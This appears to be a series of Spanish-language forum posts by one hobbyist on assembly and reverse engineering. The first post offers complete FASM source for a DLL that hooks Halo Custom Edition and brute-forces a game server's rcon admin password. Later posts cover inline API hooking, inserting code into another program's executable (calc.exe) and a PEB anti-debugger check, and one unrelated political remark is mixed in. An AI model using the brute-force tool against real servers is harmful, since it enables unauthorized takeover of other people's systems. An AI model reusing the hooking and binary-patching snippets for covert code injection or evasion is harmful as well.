Bueno, aquí os dejo este código fuente de dicha herramienta que yo mismo programe.

; Halo Rcon Ataque de Fuerza Bruta v0.1.
; Programación y Ing. Inversa por Juan fary, mas conocido con mDrinky
; 13 - Septiembre - 2012
 
; Nota: Cualquier consulta sobre las funciones nativas de Halo que aqui se utilizan
; las pueden consultar a mi correo: drinky.94@hotmail.com
 
; ADVERTENCIA: El autor de este programa no se hace responsable de la mala utilización que se le pueda dar a este software.
 
format PE GUI 4.0 DLL
entry DllEntryPoint
 
include 'win32ax.inc'
 
section '.code' code readable executable
 
proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
	cmp [fdwReason],1
	jne salir
 
	mov eax,[EstadoConsola]
	mov byte[eax],1 ; Emulamos que la consola esta desplegada.
 
	push Bienvenida
	push string
	xor eax,eax
	call ImprimirVerdadero	; Imprimimos mensage de bienvenida
	add esp,0x8
 
	push Autor
	push string
	xor eax,eax
	call ImprimirVerdadero	; Imprimimos autor
	add esp,0x8
 
	mov eax,[EstadoConsola]
	mov byte[eax],0
 
	invoke VirtualProtect,[Procesar],6,PAGE_EXECUTE_READWRITE,addr oPerm  ; hookeamos procesar
 
	mov eax,[Procesar]
 
	mov byte[eax],0x68	; push
	inc eax
	mov dword[eax],mProcesar     ; direccion
	add eax,4
	mov byte[eax],0xC3     ; ret
 
	invoke Sleep,1
 
	invoke VirtualProtect,[Imprimir],6,PAGE_EXECUTE_READWRITE,addr oPerm  ; hookeamos imprimir
 
	mov eax,[Imprimir]
 
	mov byte[eax],0x68	; push
	inc eax
	mov dword[eax],mImprimir     ; direccion
	add eax,4
	mov byte[eax],0xC3     ; ret
 
 
	invoke GetCurrentProcess
	invoke FlushInstructionCache,eax,NULL,NULL  ; refrescamos las instrucciones
 
	salir:
	ret
endp
 
ImprimirVerdadero:    ; Función para arreglar la funcion hookeada de imprimir
	sub esp,0x10	; 6 primeros bytes de la función imprimir
	push edi
	mov edi,eax
 
	mov eax,[Imprimir]
 
	add eax,6 ; Saltamos a la función original
	jmp eax
 
mImprimir:
	mov ebp,esp
	push ebp
 
	mov eax,dword[ebp+8]  ; eax = puntero a cadena que se iva a imprimir.
 
	.if eax = 0
	    pop ebp
	    ret
	.endif
 
	cmp [HackOn],0
	je  NoFiltro
 
	; Hay que poner bandera a 1
	.if byte[eax] = 'A'
	    .if byte[eax+2] = 'c'
		pop ebp
		jmp SeguimosBus
	    .endif
	.endif
 
	.if byte[eax] = 'r'
	    .if byte[eax+2] = 'o'
		pop ebp
		SeguimosBus:
		.if [Bandera] <> 1
		    call SaltoSinFlujo
		.endif
		ret
	    .endif
	.endif
 
	.if byte[eax] = 's'
	    .if byte[eax+3] = 'r'
		pop ebp
 
		mov [Bandera],1
 
		mov edi,LimpiarConsola
		call ProcesarVerdadero ; Limpiamos la consola
 
		push OkClave
		push string
		xor eax,eax
		call ImprimirVerdadero
		add esp,8
 
		push ImprClave
		push string
		xor eax,eax
		call ImprimirVerdadero
		add esp,8
 
		mov [HackOn],0
 
		ret
	    .endif
	.endif
 
	NoFiltro:
 
	push eax
	push string
	xor eax,eax
	call ImprimirVerdadero
	add esp,0x8
 
	pop ebp
	ret
 
SaltoSinFlujo:
 
	invoke TerminateThread,[HiloViejo],0
	invoke CreateThread,0,0,DarFlujo,0,0,0
	mov [HiloViejo],eax
 
	ret
 
DarFlujo:
 
	invoke Sleep,500
 
	mov edi,LimpiarConsola
	call ProcesarVerdadero ; Limpiamos la consola
 
	jmp BucleClaves3
	ret
 
mProcesar:
	.if byte[edi] = 'm'
	    .if byte[edi+4] = 'y'
		call [CerrarConsola] ; Cerramos la consola para poder seguir jugando mientras
 
		push Iniciando
		push string
		xor eax,eax
		call ImprimirVerdadero	; Mensage informando que vamos a iniciar el forzado.
		add esp,8
 
		invoke CreateThread,0,0,mFB,0,0,0 ; Iniciarmos Hack!
 
		mov [HackOn],1
 
		ret
	    .endif
	.endif
 
	call ProcesarVerdadero
	ret
 
mFB:
	mov edi,CadenaClave
 
	mov [Letra1],64 ; Letra1 = Primer byte
 
	BucleClaves:
 
	inc [Letra1]
 
	mov eax,CadenaClave
	add eax,5
 
	mov dl,byte[Letra1]
	mov byte[eax],dl
	mov byte[ImprClave],dl
 
	mov [Letra2],64   ; Letra2 = Segundo byte
 
	BucleClaves2:
 
	inc [Letra2]
	mov eax,CadenaClave
	add eax,6
 
	mov cl,byte[Letra2]
	mov byte[eax],cl
	mov byte[ImprClave+1],cl
 
 
	mov [Letra3],64    ; Letra3 = Tercer Byte
 
	BucleClaves3:
	inc [Letra3]
	mov eax,CadenaClave
	add eax,7
 
	mov bl,byte[Letra3]
	mov byte[eax],bl
	mov byte[ImprClave+2],bl
 
	mov eax,[EstadoConsola]
	mov byte[eax],1
 
	push ImprClave
	push string
	xor eax,eax
	call ImprimirVerdadero	; Imprimimos la Clave por la que vamos
	add esp,0x8
 
	mov edi,CadenaClave
	call ProcesarVerdadero	; Procesamos la intruccion
 
	; por aqui no se pueden poner Sleep porque el programa se salta las rcon
 
	.if [Letra3] >= 90
	     mov [Letra3],65
	     inc [Letra2]
 
	     mov eax,CadenaClave
	     add eax,6
 
	     mov cl,byte[Letra2]
	     mov byte[eax],cl
	     mov byte[ImprClave+1],cl
	.endif
 
	.if [Letra2] >= 90
	    mov [Letra2],65
	    inc [Letra1]
	    mov eax,CadenaClave
	    add eax,5
 
	    mov dl,byte[Letra1]
	    mov byte[eax],dl
	    mov byte[ImprClave],dl
	.endif
 
	ret
 
 
ProcesarVerdadero:  ; Funcion Para Arreglar la funcion verdadera hookeada de procesar
	mov al,byte[edi]  ; Primeros 10 bytes de la funcion procesar
	sub esp,0x500
	cmp al,0x3B
 
	mov edx,[Procesar]
 
	add edx,0xA ; Saltamos a la funcion procesar verdadera
	jmp edx
 
section '.data' data readable writeable
	Bienvenida	      db '+ Fuerza Bruta para Halo Custom Edition está listo para usarse.',0
	Autor		      db '+ Programado por mDrinky.',0
	CadenaClave	      db 'rcon XXX sv_rcon_password',0 ; Hay que cambiar los bytes 6,7 y 8
	ImprClave	      db 0x0,0x0,0x0,0x0   ; Se sustitullen los 3 primeros bytes
	LimpiarConsola	      db 'cls',0
	OkClave 	      db 'La rcon del servidor es:',0
	string		      db '%s',0
	Iniciando	      db 'Iniciando Fuerza Bruta al servidor!',0
 
	Letra1		      dd ?
	Letra2		      dd ?
	Letra3		      dd ?
	oPerm		      dd ?
	HiloViejo	      dd ?
	Bandera 	      dd ?
	HackOn		      dd ?
 
	EstadoConsola	      dd 0x651E88  ; Direccion que contiene 1 byte indicando el estado de la consola ACTIVA/NO ACTIVA
	Procesar	      dd 0x4C9E10  ; Dirección de la funcion que procesa las instrucciones
	CerrarConsola	      dd 0x4C9980  ; Direccion de la funcion de ciera y abre la consola
	Imprimir	      dd 0x499BD0  ; Direccion de la funcion que imprime datos en pantalla
 
section '.idata' import data readable writeable
  library kernel,'KERNEL32.DLL',\
	 USER32,'USER32.DLL'
 
  import kernel,\
	 VirtualProtect,'VirtualProtect',\
	 CreateThread,'CreateThread',\
	 FlushInstructionCache,'FlushInstructionCache',\
	 GetCurrentProcess,'GetCurrentProcess',\
	 Sleep,'Sleep',\
	 TerminateThread,'TerminateThread'
 
  import USER32,\
	 MessageBoxA,'MessageBoxA'
 
section '.reloc' fixups data discardable

Tambien tengo algo implementado para evitar estos ataques, si alquien lo quiere que  avise!.



un saludo.

Todos los que votaron el actual gobierno si tuvieran que volver a votar a dia de hoy les volverían a dar su voto?

Creo que la gente esta un poco harta de bipartidismo.

Que hay gente 

Bueno mi problema es el siguiente, en mi programa realizo dos hook a dos funciones, si realizo un hook solo me va perfecto pero si realizo los dos a la vez falla alguno. Llevo como 2 horas intentando ver el fallo he intentado todo lo que se me a ocurrido pero me sigue sin funcionar... el código es este:

        invoke VirtualProtectEx,-1,[Procesar],6,PAGE_EXECUTE_READWRITE,addr oPerm
 
        mov eax,[Procesar]
 
        mov byte[eax],0x68      ; push
        inc eax
        mov dword[eax],mProcesar     ; direccion
        add eax,4
        mov byte[eax],0xC3     ; ret
 
        invoke VirtualProtectEx,-1,[Imprimir],6,PAGE_EXECUTE_READWRITE,addr oPerm
 
        mov eax,[Imprimir]
 
        mov byte[eax],0x68      ; push
        inc eax
        mov dword[eax],mImprimir     ; direccion
        add eax,4
        mov byte[eax],0xC3     ; ret  

echando un ojo desde OllyDbg me percate de que es la API VirtualProtectEx la que no da bien los permisos y falla al hookear pero no consigo saber porque... de igual forma seguro que a alguno de vosotros le a pasado lo mismo y sabe porque es.

un saludo!!

Bueno pues en una conversacion con un amigo salio la conversacion de la pila y el heap y me surgio la siguiente duda que no pudimos solucionar entre los dos...

La pila la puedes manejar desde instrucciones en ASM y puedes gestionar esa memoria, que tiene un limite como quieras, pero el heap donde esta?  no creo que eso se reserve con los datos del formato PE ya que puedes utilizar esta memoria dinamicamente con el tamaño que deses... pensando pensando me llego una ligera idea de que el heap lo maneja el SO, para gestionar bien la memoria RAM o que se yo... alguien sabe responder dicha duda?


saludos.

Como se pueden crear gráficos a partir de la consola? es una duda que tengo desde hace bastante   

saludos.

Ultimamente se esta desmadrando y solo hay preguntas de tipo "lammer", no estaria de menos que se pusieran unas reglas y que se empezaran a eliminar post mas que absurdos y que no siguen la politica del foro ni la ética, ademas creo que en algun momento estuvieron prohibidos en ese subforo.

saludos.

Ya estoi aqui de nuevo, esta vez e intentado agregar una nueva sección a un ejecutable, sin exito  

este es el código que tengo:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
	IMAGE_DOS_HEADER dh;
	IMAGE_NT_HEADERS nth;
 
	IMAGE_SECTION_HEADER * sección;
	IMAGE_SECTION_HEADER nSeccion;
    // char * stub_dos -> Datos del STUB_DOS
    // char * dSecciones -> Datos de las secciones
 
	FILE * archivo = fopen("c:\\windows\\system32\\calc.exe","r+b");
    if (archivo == NULL)
    {
        printf("Error al leer el archivo\n");
        system("PAUSE");
 
        return 1;
    }
 
	fread(&dh,sizeof(dh),1,archivo); // Rellenamos IMAGE_DOS_HEADER
 
    char * stub_dos = (char*)malloc(dh.e_lfanew-0x40);
 
    fread(stub_dos,1,dh.e_lfanew-0x40,archivo); // Leemos el Stub DOS
    fread(&nth,sizeof(nth),1,archivo); // leemos nt headers
 
    sección = (IMAGE_SECTION_HEADER*)malloc(sizeof(IMAGE_SECTION_HEADER)*nth.FileHeader.NumberOfSections);
 
    fread(sección,sizeof(IMAGE_SECTION_HEADER),nth.FileHeader.NumberOfSections,archivo);
 
    char * dSecciones = (char*)malloc(nth.OptionalHeader.SizeOfImage);
    fread(dSecciones,nth.OptionalHeader.SizeOfImage,1,archivo); //leo todos los datos de las secciones.
 
    fclose(archivo); // terminamos de leer
 
    ZeroMemory(&nSeccion,sizeof(IMAGE_SECTION_HEADER));
 
    int A = sección[nth.FileHeader.NumberOfSections-1].VirtualAddress;
    int B = sección[nth.FileHeader.NumberOfSections-1].Misc.VirtualSize;
    int C = nth.OptionalHeader.SectionAlignment;
 
    strcpy((char*)nSeccion.Name,".fary"); // nombre de la nueva sección: .fary
    nSeccion.VirtualAddress = ((A+B)/C)*C+C;// direccion Virtual
    nSeccion.SizeOfRawData = 0x64; // tamaño de la sección: 100
    nSeccion.PointerToRawData = sección[nth.FileHeader.NumberOfSections-1].PointerToRawData + 0x64;  // direccion fisica
    nSeccion.Characteristics = 0x10000020;
    nSeccion.Misc.VirtualSize = 0x64;
    //nSeccion.VirtulSize
 
    nth.FileHeader.NumberOfSections += 1; // sumamos la nueva sección
    nth.OptionalHeader.SizeOfImage += 0x64;
 
    FILE * nuevo = fopen("NuevaCalc.exe","wb+");
 
    fwrite(&dh,sizeof(dh),1,nuevo);
    fwrite(stub_dos,dh.e_lfanew-0x40,1,nuevo);
    fwrite(&nth,sizeof(nth),1,nuevo);
    fwrite(sección,sizeof(IMAGE_SECTION_HEADER)*nth.FileHeader.NumberOfSections,1,nuevo);
    fwrite(&nSeccion,sizeof(IMAGE_SECTION_HEADER),1,nuevo);
    fwrite(dSecciones,nth.OptionalHeader.SizeOfImage,1,nuevo);
 
    char * DatosSeccion = (char*)malloc(0x64);
    ZeroMemory(DatosSeccion,0x64);
 
    fwrite(DatosSeccion,0x64,1,nuevo);
 
    fclose(nuevo);
	system("PAUSE");
	return 0;
}

Genera bien el nuevo archivo pero no pone bien los datos de la sección y ni que decir de ejecutarse (peta) XD. Así es como salen los datos de mi sección desde el lordPE:




haber si aguien sabe que ago mal...

saludos.

Buenas, bueno al fin he decidido meterme de lleno a aprender el formato PE y tenia pensado agrandar  la sección de código par aintroducir un pequeño opcode con un msgbox y tal una chorradilla pero para ensayar no me parece mal  .
El problema viene cuando no puedo detectar el ISH bien de todas las secciones, solo lo detecta bien de la primera, el código que he creado es este:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
 
int main()
{
	IMAGE_DOS_HEADER idh;
	IMAGE_FILE_HEADER ifh;
	IMAGE_OPTIONAL_HEADER ioh;
	IMAGE_SECTION_HEADER ish;
 
	char ruta[] = "C:\\MS-DOC.exe";
 
	FILE * archivo = fopen(ruta,"r+b");
	if (archivo == NULL)
	{ // si no podemos abrri el archivo.
		printf("Error al abrir el archivo\n");
		system("PAUSE");
 
		return 1;
	}
 
	fread(&idh,0x40,1,archivo); // rellenamos IMAGE_DOS_HEADER
	if (idh.e_magic != IMAGE_DOS_SIGNATURE)
	{ // comprovamos el e_magic para saber si es un EXE
		printf("No es un archivo EXE\n");
		system("PAUSE");
 
		return 1;
	}
 
	fseek(archivo,idh.e_lfanew + 4,SEEK_SET);
	fread(&ifh,0x14,1,archivo); // rellenamos IMAGE_FILE_HEADER
	fseek(archivo, idh.e_lfanew + 4 + sizeof(ifh), SEEK_SET);
	fread(&ioh,ifh.SizeOfOptionalHeader,1,archivo); // Leemos IMAGE_OPTIONAL_HEADER
 
	int suma = 0;
 
	for (int i=0;i<ifh.NumberOfSections;i++)
	{
		fseek(archivo, idh.e_lfanew + 4 + sizeof(ifh) + ifh.SizeOfOptionalHeader + (sizeof(ish)*(ifh.NumberOfSections-1)) + suma ,SEEK_SET);
		fread(&ish, sizeof(ish),1,archivo); // rellenamos IMAGE_SECTION_HEADER
 
		printf("%x\n",(&ish)[i].Misc.PhysicalAddress);
 
		suma += 0x28; // sumo 0x28 que es lo que ocupa ish para pasar a los datos de la siguiente sección.
	}
 
	fclose(archivo);
 
	system("PAUSE");
 
	return 0;
}

Nose que andará mal por ahi si me peuden hechar una mano sería de gran ayuda

un saludo.

pues eso, estoi intentando hookear la api FindNextFileA con una dll que estoi creando en FASM pero no hay manera, el programa me explota cuando arga la dll y intento usar la api, el problema creo que esta en que no vuelve a llamar correctamente al api que modifique y por eso explota :S

Este es el código:

format PE GUI 4.0 DLL
entry DllEntryPoint
 
include 'd:\Fasm\INCLUDE\win32ax.inc'
 
section '.code' code readable executable
 
proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
        cmp [fdwReason],1
        je mensage
        jne salir
 
        mensage:
 
        invoke LoadLibrary,"Kernel32.dll"
        invoke GetProcAddress,eax,"FindNextFileA"
        mov ebx,eax ; Dirección de la api en ebx
 
        mov [PunteroOri],ebx
 
        lea edx,dword[ebp-4]
        invoke VirtualProtectEx,-1,ebx,7,PAGE_EXECUTE_READWRITE,edx
 
 
        mov ecx,ApiOriginal
 
        lea edx,dword[ebp-4]
        invoke VirtualProtectEx,-1,ecx,7,PAGE_EXECUTE_READWRITE,edx
 
        mov al,byte[ebx] ; movemos el primer byte
        mov byte[ecx],al
 
        mov byte[ebx],0x68  ; push
        inc ebx
        inc ecx
 
        mov eax,dword[ebx]   ; movemos 4 bytes
        mov dword[ecx],eax
 
        mov dword[ebx],Funcion ; dreccion funcion
        add ebx,4
        add ecx,4
 
        mov al,byte[ebx] ; ultimo byte
        mov byte[ecx],al
 
        mov byte[ebx],0xC3   ;ret
        inc ebx
 
        salir:
        ret
endp
 
Funcion:
 
             ApiOriginal:
             nop
             nop
             nop
             nop
             nop
             nop
 
             mov eax,[PunteroOri]
             add eax,6
             jmp eax
 
             ret
 
 
; VOID ShowErrorMessage(HWND hWnd,DWORD dwError);
 
proc ShowErrorMessage hWnd,dwError
  local lpBuffer:DWORD
        lea     eax,[lpBuffer]
        invoke  FormatMessage,FORMAT_MESSAGE_ALLOCATE_BUFFER+FORMAT_MESSAGE_FROM_SYSTEM,0,[dwError],LANG_NEUTRAL,eax,0,0
        invoke  MessageBoxA,[hWnd],[lpBuffer],NULL,MB_ICONERROR+MB_OK
        invoke  LocalFree,[lpBuffer]
        ret
endp
 
; VOID ShowLastError(HWND hWnd);
 
proc ShowLastError hWnd
        invoke  GetLastError
        stdcall ShowErrorMessage,[hWnd],eax
        ret
endp
 
 
 
section '.data' data readable writeable
        PunteroOri dd ?
 
section '.idata' import data readable writeable
 
  library kernel,'KERNEL32.DLL',\
          user,'USER32.DLL'
 
  import kernel,\
         GetLastError,'GetLastError',\
         SetLastError,'SetLastError',\
         FormatMessage,'FormatMessageA',\
         LocalFree,'LocalFree',\
         LoadLibrary,'LoadLibraryA',\
         GetProcAddress,'GetProcAddress',\
         VirtualProtectEx,'VirtualProtectEx',\
         ExitProcess,'ExitProcess'
 
  import user,\
         MessageBoxA,'MessageBoxA'
 
section '.edata' export data readable
 
  export 'ERRORMSG.DLL',\
         ShowErrorMessage,'ShowErrorMessage',\
         ShowLastError,'ShowLastError'
 
section '.reloc' fixups data discardable
 

Tambien me gustaría que me explicasen como puedo debugear estas cosas ya que no lo tengo muy claro 

saludos.

Os dejo algunas funciones en FASM que e ido haciendo desde que empece con asm.

Función que compara dos cadenas:

    proc Comparar,cadena1,cadena2
            ;Si son iguales  EAX = 1
            ;Si son diferentes EAX = 0
            mov esi,[cadena1]
            mov ecx,[cadena2]
            dec ecx
            bucle:
                inc ecx
                lodsb
                cmp byte[ecx],al
                jne diferentes
                cmp al,0
                je comprovar
                jmp bucle
            comprovar:
                cmp byte[ecx],0
                je iguales
                jne diferentes
            diferentes:
                mov eax,0
                ret
            iguales:
                mov eax,1
                ret
         endp 

Ejemplo de su uso:

    include 'win32ax.inc'
 
    .data
        palabra db 'Drinky94',0
        palabra2 db 'Drinky94',0
 
    .code
    start:
        stdcall Comparar,palabra,palabra2
        .if eax = 0
            invoke MessageBoxA,0,'Son Diferentes',0,0
        .else
            invoke MessageBoxA,0,'Son Iguales',0,0
        .endif
        ret
 
        proc Comparar,cadena1,cadena2
            ;Si son iguales  EAX = 1
            ;Si son diferentes EAX = 0
            mov esi,[cadena1]
            mov ecx,[cadena2]
            dec ecx
            bucle:
                inc ecx
                lodsb
                cmp byte[ecx],al
                jne diferentes
                cmp al,0
                je comprovar
                jmp bucle
            comprovar:
                cmp byte[ecx],0
                je iguales
                jne diferentes
            diferentes:
                mov eax,0
                ret
            iguales:
                mov eax,1
                ret
         endp
    .end start 

---

Función que mide la longitud de una cadena:

    proc Len,Cadena
            ;ECX = Longitud de la cadena.
            mov eax,[Cadena]
            mov ecx,-1
            bucle:
                inc ecx
                cmp byte[eax+ecx],0
                jne bucle
            ret
    endp

Ejemplo de su uso:

    include 'win32ax.inc'
 
    .data
        palabra db 'Drinky94',0
        longitud dd ?
    .code
    start:
        stdcall Len,palabra
        mov [longitud],ecx
        invoke GlobalAlloc,GPTR,1024
        push eax
        invoke wsprintfA,eax,"%d",[longitud]
        pop eax
        invoke MessageBox,0,eax,0,MB_OK
        leave
        ret
 
        proc Len,Cadena
            ;ECX = Longitud de la cadena
            mov eax,[Cadena]
            mov ecx,-1
            bucle:
                inc ecx
                cmp byte[eax+ecx],0
                jne bucle
            ret
        endp
    .end start

---

Función que puede servir de remplazo a GlobalAlloc:

    proc DGlobalAlloc,cantidad
            sub esp,[cantidad]
            mov eax,esp
            ret
    endp

Ejemplo de su uso:

    include 'win32ax.inc'
 
    .data
        palabra db 'Drinky94',0
        longitud dd ?
    .code
    start:
 
        stdcall Len,palabra
        mov [longitud],ecx
        stdcall DGlobalAlloc,1024
        push eax
        invoke wsprintfA,eax,"%d",[longitud]
        pop eax
        invoke MessageBox,0,eax,0,MB_OK
        leave
        ret
 
        proc Len,Cadena
            mov eax,[Cadena]
            mov ecx,-1
            bucle:
                inc ecx
                cmp byte[eax+ecx],0
                jne bucle
            ret
        endp
 
        proc DGlobalAlloc,cantidad
            sub esp,[cantidad]
            mov eax,esp
            ret
        endp
    .end start 

---

Código para saber si nos están debuggeando (usa el PEB):

    format PE GUI 4.0
    entry start
 
    include 'win32ax.inc'
 
        SiDbg db 'Hay Debugger',0
        NoDbg db 'No hay Debugger',0
 
    start:
            mov eax,dword[fs:18h]
            mov eax,dword[eax+30h]
            mov bl,byte[eax+2]  ; si bl = 1 Nos estan debujeando.
 
            .if bl = 1
                invoke MessageBoxA,0,SiDbg,0,0
            .else
                invoke MessageBoxA,0,NoDbg,0,0
            .endif
            ret
 
    data import
            library user32,'user32.dll'
 
            import user32,MessageBoxA,'MessageBoxA'
 
    end data            

---

Simple cifrado Xor:

    proc Cifrar,Cadena
                xor ecx,ecx
                mov eax,[Cadena]
                .bucle:
                    .if byte[eax+ecx] = 0
                        jmp .salir
                    .endif
                    xor byte[eax+ecx],7
                    inc ecx
                    jmp .bucle
                .salir:
                ret
             endp 

Ejemplo de su uso:

    include 'win32ax.inc'
 
    .data
            hola db 'hola',0
 
    .code
    start:
             stdcall Cifrar,hola
             invoke MessageBoxA,0,eax,0,0
             ret
 
             proc Cifrar,Cadena
                xor ecx,ecx
                mov eax,[Cadena]
                .bucle:
                    .if byte[eax+ecx] = 0
                        jmp .salir
                    .endif
                    xor byte[eax+ecx],7
                    inc ecx
                    jmp .bucle
                .salir:
                ret
             endp
    .end start    

---

Función que pasa un número entero a cadena:

 proc NumToString,Numero
                ;Función creada por Drinky94. Agradecimientos a Jep.
                locals
                        divisor dw ?
                        ; buffer rb 20  Agregar esta variable en la sección data
                        ; El numero 20 es la longitud que tendra la cadena
                        ;si nuestro numero tiene 4 cifras tendremos que poner 4
                        ; CadenaFinal rb 20  ; lo mismo que con la variable buffer.
                endl
 
                mov [divisor],10
                xor eax,eax
                xor ebx,ebx
                mov eax,[Numero]
                bucle:
                        xor edx,edx
                        div [divisor]
                        add dl,0x30
                        mov byte[buffer+ebx],dl
                        inc ebx
                        cmp eax,0
                            jne bucle
                inc ebx
                mov byte[buffer+ebx],0x0
                mov eax,buffer
                mov ecx,-1
                buclelen:
                        inc ecx
                        cmp byte[eax+ecx],0
                            jne buclelen
                xor ebx,ebx
                dec ecx
                reverse:
                        xor edx,edx
                        mov dl,byte[eax+ecx]
                        mov byte[CadenaFinal+ebx],dl
                        inc ebx
                        sub ecx,1
                        cmp ecx,-1
                            jne reverse
                mov eax,CadenaFinal
                ret
        endp  

Ejemplo de su uso:

include 'win32ax.inc'
 
.data
        buffer rb 4
        CadenaFinal rb 4
.code
start:
        stdcall NumToString,1994
        invoke MessageBoxA,0,eax,0,0
        ret
 
        proc NumToString,Numero
                ;Función creada por Drinky94. Agradecimientos a Jep.
                locals
                        divisor dw ?
                        ; buffer rb 20  Agregar esta variable en la sección data
                        ; El numero 20 es la longitud que tendra la cadena
                        ;si nuestro numero tiene 4 cifras tendremos que poner 4
                        ; CadenaFinal rb 20  ; lo mismo que con la variable buffer.
                endl
 
                mov [divisor],10
                xor eax,eax
                xor ebx,ebx
                mov eax,[Numero]
                bucle:
                        xor edx,edx
                        div [divisor]
                        add dl,0x30
                        mov byte[buffer+ebx],dl
                        inc ebx
                        cmp eax,0
                            jne bucle
                inc ebx
                mov byte[buffer+ebx],0x0
                mov eax,buffer
                mov ecx,-1
                buclelen:
                        inc ecx
                        cmp byte[eax+ecx],0
                            jne buclelen
                xor ebx,ebx
                dec ecx
                reverse:
                        xor edx,edx
                        mov dl,byte[eax+ecx]
                        mov byte[CadenaFinal+ebx],dl
                        inc ebx
                        sub ecx,1
                        cmp ecx,-1
                            jne reverse
                mov eax,CadenaFinal
                ret
        endp
.end start      

Cuando valla haciendo mas las voi posteando

saludos.